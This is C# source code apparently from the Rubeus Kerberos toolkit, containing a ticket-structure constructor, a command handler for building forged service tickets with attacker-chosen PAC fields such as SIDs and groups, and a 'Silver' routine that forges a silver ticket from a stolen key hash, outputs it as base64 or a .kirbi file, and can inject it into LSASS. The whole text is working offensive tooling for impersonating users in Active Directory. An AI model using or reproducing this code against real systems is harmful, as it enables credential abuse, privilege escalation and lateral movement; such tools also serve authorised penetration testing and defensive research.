//EncTicketPart::= [APPLICATION 3] SEQUENCE { // flags[0] TicketFlags, // key[1] EncryptionKey, // crealm[2] Realm, // cname[3] PrincipalName, // transited[4] TransitedEncoding, // authtime[5] KerberosTime, // starttime[6] KerberosTime OPTIONAL, // endtime[7] KerberosTime, // renew-till[8] KerberosTime OPTIONAL, // caddr[9] HostAddresses OPTIONAL, // authorization-data[10] AuthorizationData OPTIONAL //} public EncTicketPart(byte[] sessionKey, Interop.KERB_ETYPE etype, string domain, string user, Interop.TicketFlags ticketFlags, DateTime startTime) { // flags flags = ticketFlags; // default times authtime = startTime; starttime = startTime; endtime = starttime.AddHours(10); renew_till = starttime.AddDays(7); // set session key key = new EncryptionKey(); key.keytype = (int)etype; key.keyvalue = sessionKey; // cname information crealm = domain; cname = new PrincipalName(user); // default empty TransitedEncoding transited = new TransitedEncoding(); // null caddr and authdata caddr = null; authorization_data = null; }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Build TGS\r\n"); string user = ""; string service = ""; int? id = null; string sids = ""; string groups = ""; string displayName = ""; short? logonCount = null; short? badPwdCount = null; DateTime? lastLogon = null; DateTime? logoffTime = null; DateTime? pwdLastSet = null; int? maxPassAge = null; int? minPassAge = null; int? pGid = null; string homeDir = ""; string homeDrive = ""; string profilePath = ""; string scriptPath = ""; string resourceGroupSid = ""; List <int> resourceGroups = null; Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; string domain = ""; string dc = ""; string sid = ""; string netbios = ""; bool ldap = false; string ldapuser = null; string ldappassword = null; string hash = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; byte[] krbKey = null; Interop.KERB_CHECKSUM_ALGORITHM krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent; DateTime startTime = DateTime.UtcNow; DateTime authTime = startTime; DateTime?rangeEnd = null; string rangeInterval = "1d"; string endTime = ""; string renewTill = ""; string outfile = ""; bool ptt = false; bool printcmd = false; string cName = null; string cRealm = null; string s4uProxyTarget = null; string s4uTransitedServices = null; bool includeAuthData = false; // user information mostly for the PAC if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/sids")) { sids = arguments["/sids"]; } if (arguments.ContainsKey("/groups")) { groups = arguments["/groups"]; } if (arguments.ContainsKey("/id")) { id = Int32.Parse(arguments["/id"]); } if (arguments.ContainsKey("/pgid")) { pGid = Int32.Parse(arguments["/pgid"]); } if (arguments.ContainsKey("/displayname")) { displayName = arguments["/displayname"]; } if (arguments.ContainsKey("/logoncount")) { logonCount = short.Parse(arguments["/logoncount"]); } if (arguments.ContainsKey("/badpwdcount")) { badPwdCount = short.Parse(arguments["/badpwdcount"]); } if (arguments.ContainsKey("/lastlogon")) { lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } if (arguments.ContainsKey("/logofftime")) { logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } if (arguments.ContainsKey("/pwdlastset")) { pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } if (arguments.ContainsKey("/maxpassage")) { maxPassAge = Int32.Parse(arguments["/maxpassage"]); } if (arguments.ContainsKey("/minpassage")) { minPassAge = Int32.Parse(arguments["/minpassage"]); } if (arguments.ContainsKey("/homedir")) { homeDir = arguments["/homedir"]; } if (arguments.ContainsKey("/homedrive")) { homeDrive = arguments["/homedrive"]; } if (arguments.ContainsKey("/profilepath")) { profilePath = arguments["/profilepath"]; } if (arguments.ContainsKey("/scriptpath")) { scriptPath = arguments["/scriptpath"]; } if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) { resourceGroupSid = arguments["/resourcegroupsid"]; resourceGroups = new List <int>(); foreach (string rgroup in arguments["/resourcegroups"].Split(',')) { try { resourceGroups.Add(Int32.Parse(rgroup)); } catch { Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); } } } if (arguments.ContainsKey("/uac")) { Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; foreach (string u in arguments["/uac"].Split(',')) { Interop.PacUserAccountControl result; bool status = Interop.PacUserAccountControl.TryParse(u, out result); if (status) { tmp |= result; } else { Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); } } if (tmp != Interop.PacUserAccountControl.EMPTY) { uac = tmp; } } // domain and DC information if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/sid")) { sid = arguments["/sid"]; } if (arguments.ContainsKey("/netbios")) { netbios = arguments["/netbios"]; } // getting the user information from LDAP if (arguments.ContainsKey("/ldap")) { ldap = true; if (arguments.ContainsKey("/creduser")) { if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } ldapuser = arguments["/creduser"]; ldappassword = arguments["/credpassword"]; } if (String.IsNullOrEmpty(domain)) { domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; } } // service name if (arguments.ContainsKey("/service")) { service = arguments["/service"]; } else { Console.WriteLine("[X] SPN '/service:sname/server.domain.com' is required"); return; } // encryption types encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { encType = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { encType = Interop.KERB_ETYPE.des_cbc_md5; } } if (arguments.ContainsKey("/des")) { hash = arguments["/des"]; encType = Interop.KERB_ETYPE.des_cbc_md5; } else if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/ntlm")) { hash = arguments["/ntlm"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/aes128")) { hash = arguments["/aes128"]; encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/krbkey")) { krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); } if (arguments.ContainsKey("/krbenctype")) { if (krbKey == null) { Console.WriteLine("[!] '/krbkey' not specified ignoring the '/krbenctype' argument"); } else { string krbEncTypeString = arguments["/krbenctype"].ToUpper(); if (krbEncTypeString.Equals("RC4") || krbEncTypeString.Equals("NTLM") || krbEncTypeString.Equals("DES")) { krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; } else if (krbEncTypeString.Equals("AES128")) { krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128; } else if (krbEncTypeString.Equals("AES256") || krbEncTypeString.Equals("AES")) { krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; } } } // flags if (arguments.ContainsKey("/flags")) { Interop.TicketFlags tmp = Interop.TicketFlags.empty; foreach (string flag in arguments["/flags"].Split(',')) { Interop.TicketFlags result; bool status = Interop.TicketFlags.TryParse(flag, out result); if (status) { tmp |= result; } else { Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); } } if (tmp != Interop.TicketFlags.empty) { flags = tmp; } } // ticket times if (arguments.ContainsKey("/starttime")) { try { startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } catch (Exception e) { Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); return; } } if (arguments.ContainsKey("/authtime")) { try { authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } catch (Exception e) { Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); authTime = startTime; } } else if (arguments.ContainsKey("/starttime")) { authTime = startTime; } if (arguments.ContainsKey("/rangeend")) { rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); if (rangeEnd == null) { Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); rangeEnd = startTime; } } if (arguments.ContainsKey("/rangeinterval")) { rangeInterval = arguments["/rangeinterval"]; } if (arguments.ContainsKey("/endtime")) { endTime = arguments["/endtime"]; } if (arguments.ContainsKey("/renewtill")) { renewTill = arguments["/renewtill"]; } // actions for the ticket(s) if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } // print a command that could be used to recreate the ticket // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again if (arguments.ContainsKey("/printcmd")) { printcmd = true; } // unusual service ticket options if (arguments.ContainsKey("/cname")) { cName = arguments["/cname"]; } if (arguments.ContainsKey("/crealm")) { cRealm = arguments["/crealm"]; } if (arguments.ContainsKey("/s4uproxytarget")) { s4uProxyTarget = arguments["/s4uproxytarget"]; } if (arguments.ContainsKey("/s4utransitedservices")) { s4uTransitedServices = arguments["/s4utransitedservices"]; } if (arguments.ContainsKey("/authdata")) { includeAuthData = true; } // checks if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); return; } if (!String.IsNullOrEmpty(s4uProxyTarget) || !String.IsNullOrEmpty(s4uTransitedServices)) { if (String.IsNullOrEmpty(s4uProxyTarget) || String.IsNullOrEmpty(s4uTransitedServices)) { Console.WriteLine("[X] Need to supply both '/s4uproxytarget' and '/s4utransitedservices'.\r\n"); return; } } if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); return; } else { ForgeTickets.ForgeTicket( user, service, Helpers.StringToByteArray(hash), encType, krbKey, krbEncType, ldap, ldapuser, ldappassword, sid, domain, netbios, dc, flags, startTime, rangeEnd, rangeInterval, authTime, endTime, renewTill, id, groups, sids, displayName, logonCount, badPwdCount, lastLogon, logoffTime, pwdLastSet, maxPassAge, minPassAge, pGid, homeDir, homeDrive, profilePath, scriptPath, resourceGroupSid, resourceGroups, uac, outfile, ptt, printcmd, cName, cRealm, s4uProxyTarget, s4uTransitedServices, includeAuthData ); return; } }
public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent) { // determine domain if not supplied string[] parts = sname.Split('/'); if (String.IsNullOrEmpty(domain)) { if ((parts.Length > 1) && (parts[0] == "krbtgt")) { Console.WriteLine("[X] Referral TGT requires /domain to be passed."); return; } else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) { Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'."); return; } else if (parts.Length > 1) { domain = parts[1].Substring(parts[1].IndexOf('.') + 1); string[] domainParts = domain.Split(':'); if (domainParts.Length > 1) { domain = domainParts[0]; } } else if (sname.Split('@').Length > 1) { domain = sname.Split('@')[1]; } else { Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); return; } } // initialize some structures KRB_CRED cred = new KRB_CRED(); KrbCredInfo info = new KrbCredInfo(); // generate a random session key Random random = new Random(); byte[] randKeyBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { randKeyBytes = new byte[16]; random.NextBytes(randKeyBytes); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { randKeyBytes = new byte[32]; random.NextBytes(randKeyBytes); } else { Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); return; } EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags); // get the key from keyString byte[] key = Helpers.StringToByteArray(keyString); // encrypt the EncTicketPart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); // initialize the ticket and add the enc_part Ticket ticket = new Ticket(domain.ToUpper(), sname); ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); // add the ticket cred.tickets.Add(ticket); // [0] add in the session key info.key.keytype = (int)etype; info.key.keyvalue = randKeyBytes; // [1] prealm (domain) info.prealm = decTicketPart.crealm; // [2] pname (user) info.pname.name_type = decTicketPart.cname.name_type; info.pname.name_string = decTicketPart.cname.name_string; // [3] flags info.flags = flags; // [4] authtime (not required) info.authtime = decTicketPart.authtime; // [5] starttime info.starttime = decTicketPart.starttime; // [6] endtime info.endtime = decTicketPart.endtime; // [7] renew-till info.renew_till = decTicketPart.renew_till; // [8] srealm info.srealm = ticket.realm; // [9] sname info.sname.name_type = ticket.sname.name_type; info.sname.name_string = ticket.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } }